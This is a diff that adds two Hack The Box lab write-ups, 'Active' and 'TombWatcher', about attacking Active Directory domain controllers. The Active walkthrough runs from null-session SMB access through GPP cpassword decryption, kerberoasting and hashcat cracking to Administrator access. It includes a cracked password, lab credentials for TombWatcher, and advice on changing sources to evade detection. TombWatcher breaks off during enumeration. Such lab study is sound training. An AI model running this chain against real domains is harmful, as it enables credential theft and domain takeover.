diff --git a/AD Purple - Active.md b/AD Purple - Active.md new file mode 100644 index 0000000..daef1be --- /dev/null +++ b/AD Purple - Active.md @@ -0,0 +1,471 @@ +Date : 24/07/2026 + +Target : 10.129.46.87 + +Judging by the name and the `Windows` category, we can hypothesize strongly this is an Active Directory. + +We'll do a staged nmap as this is a **PURPLE** engagement, which means we will act as if there was a **Blue Team** behind the box even though there technically isn't. + +We start with `Active Reconnaissance` : + +`ATT&CK ID : Network Service Discovery T1046` +`ATT&CK ID : Active Scanning T1595` + +The usual `network mapping` would be : + +``` +sudo nmap -sC -sV -O -Pn -p- --min-rate=3000 -T4 10.129.46.87 +``` + +On this engagement, this rapid-fire scan would take `seconds` to complete and save us a lot of time. + +But this kind of mass SYN flood would trigger alerts because of the rate, the fullport scan (SYN-SYN/ACK-ACK) on every port and `Version (-sV)` and `Script (-sC)` with a `--min-rate=3000` and `-T4` could be caught as an overly aggressive offensive technique : +`SIEM` will register this aggressive scan as : many unique destination ports, short window, high packets per second and SOC will receive `nmap-shaped` alerts. +`ATT&CK ID : Vulnerability Scanning T1595.002` with `-sC -sV` which causes high `NSE --(Nmap Scripting Engine)` noise on top of the very high packets being sent. + +We'll instead use a `staged nmap scan` which involves two phases : first, a much lower handshake rate for the ports only like `max-rate=300` and `-T3` with `-oA` to save the results, and a second stage that will analyze `versions` and `scripts` on the specific ports we found open with again a limited SYN rate. + +On this engagement, the more discreet scan takes approximately `4 minutes` to complete. +So we lose a little time but reduced rate-based detection, whereas the first scan would likely trigger `Network Intrusion Detection Systems` like `Suricata/Snort` which fires `unusual port scan activity` effectively increasing our stealth in a real-world scenario. + +```bash +>  nmapstaged 10.129.46.87 ~/Purple/Active/nmap_full +[*] Stage 1/2 — full TCP map (--max-rate 500 -T3) → /home/vagabond/Purple/Active/nmap_full/nmap_all.* +Please touch the FIDO authenticator. +Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-24 19:39 +0200 +Nmap scan report for active.htb (10.129.46.87) +Host is up (0.064s latency). +Not shown: 65512 closed tcp ports (reset) +PORT      STATE SERVICE +53/tcp    open  domain +88/tcp    open  kerberos-sec +135/tcp   open  msrpc +139/tcp   open  netbios-ssn +389/tcp   open  ldap +445/tcp   open  microsoft-ds +464/tcp   open  kpasswd5 +593/tcp   open  http-rpc-epmap +636/tcp   open  ldapssl +3268/tcp  open  globalcatLDAP +3269/tcp  open  globalcatLDAPssl +5722/tcp  open  msdfsr +9389/tcp  open  adws +47001/tcp open  winrm +49152/tcp open  unknown +49153/tcp open  unknown +49154/tcp open  unknown +49155/tcp open  unknown +49157/tcp open  unknown +49158/tcp open  unknown +49162/tcp open  unknown +49167/tcp open  unknown +49168/tcp open  unknown + +Nmap done: 1 IP address (1 host up) scanned in 134.65 seconds +[*] Stage 2/2 — -sC -sV on: 53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49162,49167,49168 +Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-24 19:41 +0200 +Nmap scan report for active.htb (10.129.46.87) +Host is up (0.075s latency). + +PORT      STATE SERVICE       VERSION +53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1) +| dns-nsid:   +|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39) +88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-07-24 17:41:46Z) +135/tcp   open  msrpc         Microsoft Windows RPC +139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn +389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) +445/tcp   open  microsoft-ds? +464/tcp   open  tcpwrapped +593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0 +636/tcp   open  tcpwrapped +3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) +3269/tcp  open  tcpwrapped +5722/tcp  open  msrpc         Microsoft Windows RPC +9389/tcp  open  mc-nmf        .NET Message Framing +47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) +|_http-server-header: Microsoft-HTTPAPI/2.0 +|_http-title: Not Found +49152/tcp open  msrpc         Microsoft Windows RPC +49153/tcp open  msrpc         Microsoft Windows RPC +49154/tcp open  msrpc         Microsoft Windows RPC +49155/tcp open  msrpc         Microsoft Windows RPC +49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0 +49158/tcp open  msrpc         Microsoft Windows RPC +49162/tcp open  msrpc         Microsoft Windows RPC +49167/tcp open  msrpc         Microsoft Windows RPC +49168/tcp open  msrpc         Microsoft Windows RPC +Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows + +Host script results: +| smb2-time:   +|   date: 2026-07-24T17:42:44 +|_  start_date: 2026-07-24T16:43:20 +| smb2-security-mode:   +|   2.1:   +|_    Message signing enabled and required +|_clock-skew: -1s + +Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . +Nmap done: 1 IP address (1 host up) scanned in 75.79 seconds +``` + +So we have confirmation that this is an `Active Directory` : `kerberos 88/tcp ; msrpc 135/tcp ; netBIOS 139/tcp ; LDAP 389/tcp ; SMB 445/tcp` and `Microsoft Windows RPC` but also `DNS 53/tcp`, `mc-nmf 9389/tcp` and other ports. + +`Domain: active.htb` so we already have the `DC` name in our hosts. + +The `DNS` version is `Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)` which is a pretty old version. We google the version and stumble upon `CVE-2020-1350` : + +``` +CVE-2020-1350 + +Severity: Critical +Vulnerability Published: 2020-07-14 +Patch Published: 2020-07-14 +- A remote code execution vulnerability exists in Windows Domain Name System servers when they fail to properly handle requests. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the Local System Account. Windows servers that are configured as DNS servers are at risk from this vulnerability. + +Source : infosecmatter.com +``` + +This might lead to RCE later so we'll keep it as a hypothetic artifact : the version string alone isn't enough to prove it is actually exploitable. + +We'll start our `Active Directory adversary emulation` with our usual methodology, starting with a `netexec SMB shares` check with `guest` : + +```bash +>  nxc smb active.htb -u guest -p '' --shares +SMB         10.129.46.87    445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False) (Null Auth:True) +SMB         10.129.46.87    445    DC               [-] active.htb\guest: STATUS_ACCOUNT_DISABLED   +>  nxc smb active.htb -u '' -p '' --shares +SMB         10.129.46.87    445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False) (Null Auth:True) +SMB         10.129.46.87    445    DC               [+] active.htb\:   +SMB         10.129.46.87    445    DC               [*] Enumerated shares +SMB         10.129.46.87    445    DC               Share           Permissions            Remark +SMB         10.129.46.87    445    DC               -----           -----------            ------ +SMB         10.129.46.87    445    DC               ADMIN$                                 Remote Admin +SMB         10.129.46.87    445    DC               C$                                     Default share +SMB         10.129.46.87    445    DC               IPC$                                   Remote IPC +SMB         10.129.46.87    445    DC               NETLOGON                               Logon server share   +SMB         10.129.46.87    445    DC               Replication     READ                     +SMB         10.129.46.87    445    DC               SYSVOL                                 Logon server share   +SMB         10.129.46.87    445    DC               Users +``` + +`ATT&CK ID : Network Share Discovery T1135` + +**Blue Team** : `SIEM` registers `null` account looking for `SMB shares`. A good SOC stumbling upon this might track the source.` + +`guest` didn't work but `null` did and unlike most `SMB shares` `IPC$, SYSVOL and NETLOGON` have no `READ` right but `Replication` which is an unusual name has `READ` rights, we will probably find information inside : + +```bash +>  smbclient //active.htb/Replication -U % +Try "help" to get a list of possible commands. +smb: \> ls + .                                   D        0  Sat Jul 21 12:37:44 2018 + ..                                  D        0  Sat Jul 21 12:37:44 2018 + active.htb                          D        0  Sat Jul 21 12:37:44 2018 + +               5217023 blocks of size 4096. 278928 blocks available +smb: \> cd active.htb +smb: \active.htb\> ls + .                                   D        0  Sat Jul 21 12:37:44 2018 + ..                                  D        0  Sat Jul 21 12:37:44 2018 + DfsrPrivate                       DHS        0  Sat Jul 21 12:37:44 2018 + Policies                            D        0  Sat Jul 21 12:37:44 2018 + scripts                             D        0  Wed Jul 18 20:48:57 2018 +``` + +We seem to have a `SYSVOL-like` share. We'll download the policies, which could be suspected if found by the **Blue Team** especially since it's from a `null` account. + +```bash +>  cd ~/Purple/Active/ +>  smbclient //active.htb/Replication -U % +Try "help" to get a list of possible commands. +smb: \> cd active.htb/Policies +smb: \active.htb\Policies\> recurse ON +smb: \active.htb\Policies\> prompt OFF +smb: \active.htb\Policies\> mget * +getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI of size 23 as {31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec) +getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\GPT.INI of size 22 as {6AC1786C-016F-11D2-945F-00C04fB984F9}/GPT.INI (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec) +getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy\GPE.INI of size 119 as {31B2F340-016D-11D2-945F-00C04FB984F9}/Group Policy/GPE.INI (0.6 KiloBytes/sec) (average 0.3 KiloByte +s/sec) +getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Registry.pol of size 2788 as {31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol (14.9 KiloBytes/sec) (average 3.6 KiloBy +tes/sec) +getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as {31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml (2.6 Ki +loBytes/sec) (average 3.4 KiloBytes/sec) +getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 1098 as {31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecE +dit/GptTmpl.inf (6.0 KiloBytes/sec) (average 3.8 KiloBytes/sec) +getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 3722 as {6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecE +dit/GptTmpl.inf (17.6 KiloBytes/sec) (average 5.9 KiloBytes/sec) +smb: \active.htb\Policies\> exit +``` + +`ATT&CK ID : File Retrieval T1005` + +**Blue Team** : `SIEM` : `T1595 Active Scanning` → `Network Share Discovery Technique T1135` +↳ `ATT&CK ID : File Retrieval T1005` + +The last technique is the most suspicious downloading policies locally using `null`. +If the **Blue Team** gets the `SIEM` and an alert, they might get onto us even though we haven't accessed the domain yet, they will closely monitor our source. This is where changing sources (VPN) would break it : we haven't identified as anyone so if we change our `source` they won't be able to trace the `attacker` (us). +The first reflex would be to look inside the retrieved files the suspect `null` account has downloaded and how they could be used by the attacker. + +As the attacker, we'll search for sensitive information with a recursive `grep` on all the policy files : + +```bash +>  grep -r -RniE "password|username|secret" +{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml:2: +``` + +`ATT&CK ID : Credential Mining - Unsecured Credentials : GPP T1552.006` +We found : `cpassword="[REDACTED]"` +and ` userName="active.htb\SVC_TGS` + +The first one is a `cpassword` which is a `base64 encoded ciphertext` and the second one looks like a `Service Account`. + +We'll have to decrypt the `cpassword` and try the password we find with `netexec` and hope for a successful login, otherwise a `4625 Login Failure Type 3 (SMB)` alert will be triggered which is bad for us as an adversary because a `Service Account` that fails to login is highly suspicious. + +We'll start by using `gpp-decrypt` which corresponds to the old `Windows 2008` version this `DC` is running on and is exactly made to decrypt `cpasswords` : + +```bash +>  gpp-decrypt -c "[REDACTED]" + +                              __                                __   + ___ _   ___    ___  ____ ___/ / ___  ____  ____  __ __   ___  / /_ +/ _ `/  / _ \  / _ \/___// _  / / -_)/ __/ / __/ / // /  / _ \/ __/ +\_, /  / .__/ / .__/     \_,_/  \__/ \__/ /_/    \_, /  / .__/\__/   +/___/  /_/    /_/                                /___/  /_/           + +[ * ] Password: [REDACTED] +``` + +We'll try `netexec SMB` with `svc_tgs:[REDACTED]` : + +```bash +>  nxc smb active.htb -u svc_tgs -p '[REDACTED]' +SMB         10.129.46.87    445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False) (Null Auth:True) +SMB         10.129.46.87    445    DC               [+] active.htb\svc_tgs:[REDACTED] +``` + +And we fired `4624 : Login Successful` instead of `4625 : Login Failed` which is still an alert but much less suspect on a service account, and we have our first domain account. + +`ATT&CK ID : Valid Accounts - Domain Accounts T1078.002` + +We'll look for `shares` using that account : + +```bash +>  nxc smb active.htb -u svc_tgs -p '[REDACTED]' --shares +SMB         10.129.46.87    445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False) (Null Auth:True) +SMB         10.129.46.87    445    DC               [+] active.htb\svc_tgs:[REDACTED]   +SMB         10.129.46.87    445    DC               [*] Enumerated shares +SMB         10.129.46.87    445    DC               Share           Permissions            Remark +SMB         10.129.46.87    445    DC               -----           -----------            ------ +SMB         10.129.46.87    445    DC               ADMIN$                                 Remote Admin +SMB         10.129.46.87    445    DC               C$                                     Default share +SMB         10.129.46.87    445    DC               IPC$                                   Remote IPC +SMB         10.129.46.87    445    DC               NETLOGON        READ                   Logon server share   +SMB         10.129.46.87    445    DC               Replication     READ                     +SMB         10.129.46.87    445    DC               SYSVOL          READ                   Logon server share   +SMB         10.129.46.87    445    DC               Users           READ +``` + +And we have `READ` on the `Users` share. + +```bash +>  smbclient //active.htb/Users -U 'svc_tgs%[REDACTED]' + +Try "help" to get a list of possible commands. +smb: \> ls + .                                  DR        0  Sat Jul 21 16:39:20 2018 + ..                                 DR        0  Sat Jul 21 16:39:20 2018 + Administrator                       D        0  Mon Jul 16 12:14:21 2018 + All Users                       DHSrn        0  Tue Jul 14 07:06:44 2009 + Default                           DHR        0  Tue Jul 14 08:38:21 2009 + Default User                    DHSrn        0  Tue Jul 14 07:06:44 2009 + desktop.ini                       AHS      174  Tue Jul 14 06:57:55 2009 + Public                             DR        0  Tue Jul 14 06:57:55 2009 + SVC_TGS                             D        0  Sat Jul 21 17:16:32 2018 + +               5217023 blocks of size 4096. 278624 blocks available +smb: \> cd SVC_TGS +smb: \SVC_TGS\> ls + .                                   D        0  Sat Jul 21 17:16:32 2018 + ..                                  D        0  Sat Jul 21 17:16:32 2018 + Contacts                            D        0  Sat Jul 21 17:14:11 2018 + Desktop                             D        0  Sat Jul 21 17:14:42 2018 + Downloads                           D        0  Sat Jul 21 17:14:23 2018 + Favorites                           D        0  Sat Jul 21 17:14:44 2018 + Links                               D        0  Sat Jul 21 17:14:57 2018 + My Documents                        D        0  Sat Jul 21 17:15:03 2018 + My Music                            D        0  Sat Jul 21 17:15:32 2018 + My Pictures                         D        0  Sat Jul 21 17:15:43 2018 + My Videos                           D        0  Sat Jul 21 17:15:53 2018 + Saved Games                         D        0  Sat Jul 21 17:16:12 2018 + Searches                            D        0  Sat Jul 21 17:16:24 2018 + +               5217023 blocks of size 4096. 278624 blocks available +smb: \SVC_TGS\> cd Desktop +smb: \SVC_TGS\Desktop\> ls + .                                   D        0  Sat Jul 21 17:14:42 2018 + ..                                  D        0  Sat Jul 21 17:14:42 2018 + user.txt                           AR       34  Fri Jul 24 18:44:20 2026 + +               5217023 blocks of size 4096. 278624 blocks available +smb: \SVC_TGS\Desktop\> get user.txt +getting file \SVC_TGS\Desktop\user.txt of size 34 as user.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec) +smb: \SVC_TGS\Desktop\> exit +>  cat user.txt +[REDACTED] +``` + +We got the user flag. + +We'll then proceed to `kerberoasting` `Service Principal Names` and ask the `TGS` for a ticket that we can crack via `Impacket` : + +```bash +>  GetUserSPNs.py active.htb/svc_tgs:'[REDACTED]' -dc-ip 10.129.46.87 -request -outputfile tgs.kerberoast +Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies   + +ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation   +--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ---------- +active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 21:06:40.351723  2026-07-24 18:44:22.324958               + + + +[-] CCache file is not found. Skipping... +>  cat tgs.kerberoast +[REDACTED] +``` + +We just got a `Kerberos TGS etype 23 hash` for `Administrator`. + +`ATT&CK ID : Steal or Forge Kerberos Tickets : Kerberoasting T1558.003` + +**Blue Team** : Highly suspicious, even if the adversary separates themselves from the `null` account by changing their source, `Kerberoasting by TGS Request with a low-priviledged account` might start an investigation and trigger a SOC alert by itself. + +```bash +>  hashcat -m 13100 tgs.kerberoast /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt +hashcat (v7.1.2) starting + +OpenCL API (OpenCL 3.0 PoCL 7.1  Linux, Release, RELOC, LLVM 20.1.8, SLEEF, DISTRO, CUDA, POCL_DEBUG) - Platform #1 [The pocl project] +====================================================================================================================================== +* Device #01: cpu-haswell-AMD Ryzen 5 3500U with Radeon Vega Mobile Gfx, 8912/17824 MB (8912 MB allocatable), 8MCU + +Minimum password length supported by kernel: 0 +Maximum password length supported by kernel: 256 +Minimum salt length supported by kernel: 0 +Maximum salt length supported by kernel: 256 + +Hashes: 1 digests; 1 unique digests, 1 unique salts +Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates +Rules: 1 + +Optimizers applied: +* Zero-Byte +* Not-Iterated +* Single-Hash +* Single-Salt + +ATTENTION! Pure (unoptimized) backend kernels selected. +Pure kernels can crack longer passwords, but drastically reduce performance. +If you want to switch to optimized kernels, append -O to your commandline. +See the above message to find out about the exact limits. + +Watchdog: Temperature abort trigger set to 90c + +Host memory allocated for this attack: 514 MB (10140 MB free) + +Dictionary cache hit: +* Filename..: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt +* Passwords.: 14344384 +* Bytes.....: 139921497 +* Keyspace..: 14344384 + +Cracking performance lower than expected?                   + +* Append -O to the commandline. + This lowers the maximum supported password/salt length (usually down to 32). + +* Append -w 3 to the commandline. + This can cause your screen to lag. + +* Append -S to the commandline. + This has a drastic speed impact but can be better for specific attacks. + Typical scenarios are a small wordlist but a large ruleset. + +* Update your backend API runtime / driver the right way: + https://hashcat.net/faq/wrongdriver + +* Create more work items to make use of your parallelization power: + https://hashcat.net/faq/morework + +[REDACTED] +38d01e66564c5ccc808e1a889d43475550ef9a7e32aab059b13b7541cd67da796e6298cf500cac02966f6579c88531c92ee9333b16deeace7870733f1bc959c51c81abfb3fa8142cef711904c8a1cc4f55d7ec9f24e9bf5254a6778023d5b0d70de9e:Ticketmaster +1968 +                                                           +Session..........: hashcat +Status...........: Cracked +Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP) +[REDACTED] +Time.Started.....: Sat Jul 25 11:19:33 2026 (14 secs) +Time.Estimated...: Sat Jul 25 11:19:47 2026 (0 secs) +Kernel.Feature...: Pure Kernel (password length 0-256 bytes) +Guess.Base.......: File (/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt) +Guess.Queue......: 1/1 (100.00%) +Speed.#01........:   745.5 kH/s (7.34ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 +Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) +Progress.........: 10543104/14344384 (73.50%) +Rejected.........: 0/10543104 (0.00%) +Restore.Point....: 10534912/14344384 (73.44%) +Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1 +Candidate.Engine.: Device Generator +Candidates.#01...: Tiona172 -> Teague +Hardware.Mon.#01.: Temp: 72c Util: 81% + +Started: Sat Jul 25 11:19:31 2026 +Stopped: Sat Jul 25 11:19:49 2026 +``` + +And we got the password : `[REDACTED]`. + +`ATT&CK ID : Brute-Force Password Cracking - Credential Access T1110.002` + +We cracked the password offline with absolutely no problem using the `hashcat mode` that corresponds to the pattern `$krb5tgs$23$*user$realm$spn*$` that usually comes out of `GetUserSPNs Kerberoasting`. + +As the adversary, now that we have the `Domain Administrator`'s credentials, we will change sources again so that, if successful, our login isn't directly connected to `SVC_TGS`. + +We'll try it with `netexec` on `SMB` since we saw we had direct access to the `Users` share : + +```bash +>  nxc smb active.htb -u Administrator -p [REDACTED] + +SMB         10.129.46.87    445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False) (Null Auth:True) +SMB         10.129.46.87    445    DC               [+] active.htb\Administrator:[REDACTED] (Pwn3d!) +``` + +**Blue Team** : The **Domain Administrator** successfully logged in to `SMB`, `EventID=4624`. +If the adversary has changed sources, the **Blue Team** will have to look into it if they haven't already but by the time they discover the `TGS-REQ` gave the `Domain Administrator`'s hash and connect that to the new source. +For the adversary, in the best case scenario he will already have acquired full Domain Control. `Digital Forensics and Incident Response` would be an essential part here. + +``` +```bash +>  smbclient //active.htb/Users -U 'Administrator%[REDACTED]' + + +Try "help" to get a list of possible commands. +smb: \> cd Administrator +smb: \Administrator\> cd Desktop +smb: \Administrator\Desktop\> ls + .                                  DR        0  Thu Jan 21 17:49:47 2021 + ..                                 DR        0  Thu Jan 21 17:49:47 2021 + desktop.ini                       AHS      282  Mon Jul 30 15:50:10 2018 + root.txt                           AR       34  Fri Jul 24 18:44:20 2026 +g +               5217023 blocks of size 4096. 277039 blocks available +smb: \Administrator\Desktop\> get root.txt +getting file \Administrator\Desktop\root.txt of size 34 as root.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec) +smb: \Administrator\Desktop\> exit +>  cat root.txt +[REDACTED] +``` + +We got the root flag. \ No newline at end of file diff --git a/AD Purple - TombWatcher.md b/AD Purple - TombWatcher.md new file mode 100644 index 0000000..5865bce --- /dev/null +++ b/AD Purple - TombWatcher.md @@ -0,0 +1,712 @@ + +Target : 10.129.41.160 + +Date : 17/07/2026 + +`Machine Information` + +`As is common in real life Windows pentests, you will start the TombWatcher box with credentials for the following account: henry / H3nry_987TGV!` + + +We'll start a nmap scan using a way stealthier approach than usual : +I could use `nmap -sC -sV -Pn -O --min-rate=3000 -T4` and it would work fine and be more efficient on this box. However, since this is my first **{PURPLE}** Black Box engagement, we'll be careful, as if this HTB box was a real engagement with a real **SOC/Blue Team** on the other side. That means reducing drastically the `SYN` rate to try and get a handshake on the ports : `ATT&CK T1046 Network Service Discovery` is `Active Reconnaissance` and can trigger alerts on the **Blue** side. If I used the aformentioned `nmap` super-efficient scan on a real target, it would send the **Blue** team dense SYN flood and script probes on many ports from one single source, potentially triggering an alert that would just block us while we're just reading the scan. + +We'll instead do a `staged scan` which involves multiple scans : first - what ports are open (SYN-SYN/ACK-ACK) - then, `-sC -sV` at these specific ports (instead of scanning scripts and versions on all ports). + +```bash +>  echo '10.129.41.160 tombwatcher.htb' | sudo tee -a /etc/hosts +Please touch the FIDO authenticator. +10.129.41.160 tombwatcher.htb +>  mkdir -p ~/tmp/Tombwatcher +``` + +First step of the staged nmap scan : + +```bash +> sudo nmap -Pn -p- --max-rate=500 -T3 -oA ~/tmp/Tombwatcher/nmap_all 10.129.41.160 +Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-17 22:08 +0200 +Nmap scan report for tombwatcher.htb (10.129.41.160) +Host is up (0.046s latency). +Not shown: 65514 filtered tcp ports (no-response) +PORT      STATE SERVICE +53/tcp    open  domain +80/tcp    open  http +88/tcp    open  kerberos-sec +135/tcp   open  msrpc +139/tcp   open  netbios-ssn +389/tcp   open  ldap +445/tcp   open  microsoft-ds +464/tcp   open  kpasswd5 +593/tcp   open  http-rpc-epmap +636/tcp   open  ldapssl +3268/tcp  open  globalcatLDAP +3269/tcp  open  globalcatLDAPssl +5985/tcp  open  wsman +9389/tcp  open  adws +49666/tcp open  unknown +49695/tcp open  unknown +49696/tcp open  unknown +49698/tcp open  unknown +49717/tcp open  unknown +49721/tcp open  unknown +49743/tcp open  unknown +``` + +We use `-T3` which isn't the stealthiest but for just a fullport handshake scan it should be stealthy enough. `--max-rate=500` creates a ceiling where `--min-rate=3000` created a floor for packets per second, making it much stealthier than the aggressive counterpart. + +Second step of the staged nmap scan : + +```bash +>ports=$(grep '/tcp' ~/tmp/Tombwatcher/nmap_all.nmap | grep open | cut -d/ -f1 | tr '\n' ',' | sed 's/,$//'); sudo nmap -Pn -p"$ports" -sC -sV --max-rate 300 -T3 -oA ~/tmp/Tombwatcher/nmap_svc 10.129.41.160 +``` + +This does `-sC -sV` which is `script scan & version scan` using our first scan results to target specific ports and not spread it everywhere. The `--max-rate 300` is making it even stealthier. + +Both commands for a simple first fullport scan include a lot of regex and long, complex bash, so we'll just create a function to make the `staged nmap scan` actually bearable. + +The results are : + +```bash +Nmap done: 1 IP address (1 host up) scanned in 262.71 seconds +[*] Stage 2/2 — -sC -sV on: 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49666,49695,49696,49698,49717,49721,49743 +Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-17 22:13 +0200 +Nmap scan report for tombwatcher.htb (10.129.41.160) +Host is up (0.058s latency). + +PORT      STATE SERVICE       VERSION +53/tcp    open  domain        Simple DNS Plus +80/tcp    open  http          Microsoft IIS httpd 10.0 +| http-methods:   +|_  Potentially risky methods: TRACE +|_http-server-header: Microsoft-IIS/10.0 +|_http-title: IIS Windows Server +88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-07-18 00:13:19Z) +135/tcp   open  msrpc         Microsoft Windows RPC +139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn +389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb, Site: Default-First-Site-Name) +| ssl-cert: Subject: commonName=DC01.tombwatcher.htb +| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.tombwatcher.htb +| Not valid before: 2024-11-16T00:47:59 +|_Not valid after:  2025-11-16T00:47:59 +|_ssl-date: 2026-07-18T00:14:48+00:00; +4h00m00s from scanner time. +445/tcp   open  microsoft-ds? +464/tcp   open  kpasswd5? +593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0 +636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb, Site: Default-First-Site-Name) +|_ssl-date: 2026-07-18T00:14:49+00:00; +4h00m00s from scanner time. +| ssl-cert: Subject: commonName=DC01.tombwatcher.htb +| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.tombwatcher.htb +| Not valid before: 2024-11-16T00:47:59 +|_Not valid after:  2025-11-16T00:47:59 +3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb, Site: Default-First-Site-Name) +|_ssl-date: 2026-07-18T00:14:48+00:00; +4h00m00s from scanner time. +| ssl-cert: Subject: commonName=DC01.tombwatcher.htb +| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.tombwatcher.htb +| Not valid before: 2024-11-16T00:47:59 +|_Not valid after:  2025-11-16T00:47:59 +3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb, Site: Default-First-Site-Name) +| ssl-cert: Subject: commonName=DC01.tombwatcher.htb +| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.tombwatcher.htb +| Not valid before: 2024-11-16T00:47:59 +|_Not valid after:  2025-11-16T00:47:59 +|_ssl-date: 2026-07-18T00:14:49+00:00; +4h00m00s from scanner time. +5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) +|_http-title: Not Found +|_http-server-header: Microsoft-HTTPAPI/2.0 +9389/tcp  open  mc-nmf        .NET Message Framing +49666/tcp open  msrpc         Microsoft Windows RPC +49695/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0 +49696/tcp open  msrpc         Microsoft Windows RPC +49698/tcp open  msrpc         Microsoft Windows RPC +49717/tcp open  msrpc         Microsoft Windows RPC +49721/tcp open  msrpc         Microsoft Windows RPC +49743/tcp open  msrpc         Microsoft Windows RPC +Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows + +Host script results: +| smb2-security-mode:   +|   3.1.1:   +|_    Message signing enabled and required +| smb2-time:   +|   date: 2026-07-18T00:14:11 +|_  start_date: N/A +|_clock-skew: mean: 3h59m59s, deviation: 0s, median: 3h59m59s + +Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . +Nmap done: 1 IP address (1 host up) scanned in 97.29 seconds +``` + +Active Directory. `DNS:DC01.tombwatcher.htb` that we'll add immediately to our hosts, a `clock-skew: mean: 3h59m59s` that'll need `ntpdate` later, `DNS 53/tcp` and `http 80/tcp` as outliers and the usual AD suspects : `kerberos 88/tcp ; msrpc 135/tcp ; netBIOS 139/tcp ; LDAP 389/tcp & 3268/tcp ; SMB 445/tcp ; WinRM 5985/tcp` as well as `Microsoft Windows RPC` and some other ports. + +We add the `DC` to our hosts : + +```bash +>  echo '10.129.41.160 DC01.tombwatcher.htb' | sudo tee -a /etc/hosts + +Please touch the FIDO authenticator. +10.129.41.160 DC01.tombwatcher.htb +``` + +We then use `netexec` on `SMB 445/tcp` with the credentials that 